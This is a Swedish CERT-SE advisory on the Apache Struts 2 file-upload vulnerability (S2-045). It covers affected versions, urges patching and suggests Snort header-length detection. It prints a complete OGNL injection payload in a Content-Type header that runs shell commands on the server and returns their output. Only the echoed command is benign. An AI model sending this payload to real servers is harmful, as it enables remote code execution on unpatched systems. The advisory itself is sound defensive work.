Som du ser är vår webbplats inte anpassad för äldre webbläsare. Vi rekommenderar att du uppgraderar till en nyare webbläsare.
!!

CERT-SE växer. Vi har flera jobbannonser ute just nu: Sök till Systemadministratör, Övningsansvarig, Teknisk projektledare eller Teknisk skribent senast 18 augusti.

Publicerad - Sårbarhet Struts Jakarta

Ramverket Struts 2 angrips. Uppdatera nu!

Struts 2 är ett ramverk som ofta används i Java-baserade webbtillämpningar. Det går även under namnen Jakarta Struts och Apache Struts och förvaltas av apacheprojektet.

Sedan Apache publicerade en programfix[1] av Struts 2-ramverket i början av veckan så har attacker mot ännu icke uppdaterade system blivit vanliga. Programfixen rättar en sårbarhet som uppkommer vid filuppladdning till servern. Attacker underlättas av att en modul för Metasploit finns tillgänglig för att enkelt utnyttja sårbarheten.

Påverkade versioner

Versioner tidigare än Struts 2.3.32 respektive 2.5.10.1 är sårbara.

Detaljer

Sårbarheten utnyttjas genom att en angripare att lägga till programkod i fältet Content-Type i ett HTTP-anrop varpå programkoden körs av webbservern. Exempel på hur ett anrop kan se ut:

User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html..
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo \"587d7b356191903a8ff327f548766288\"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept: */*
Referer: http://linux.cn/
Accept-Language: zh-cn
Content-Length: 0
Host: [removed]
Connection: Keep-Alive

Åtgärder

I första hand bör man snarast uppdatera sin Strutsversion och bygga om alla sina webbtillämpningar med den[2].

Man bör också kunna detektera försök till angrepp. Som synes blir fältet Content-Type ganska långt, ca 800 byte. Genom att sätta max_header_length för http_inspect i Snort eller motsvarande i andra NIDS-system till ett värde lägre än så.

Ytterligare läsning

[1] https://cwiki.apache.org/confluence/display/WW/S2-045
[2] https://arstechnica.com/security/2017/03/critical-vulnerability-under-massive-attack-imperils-high-impact-sites/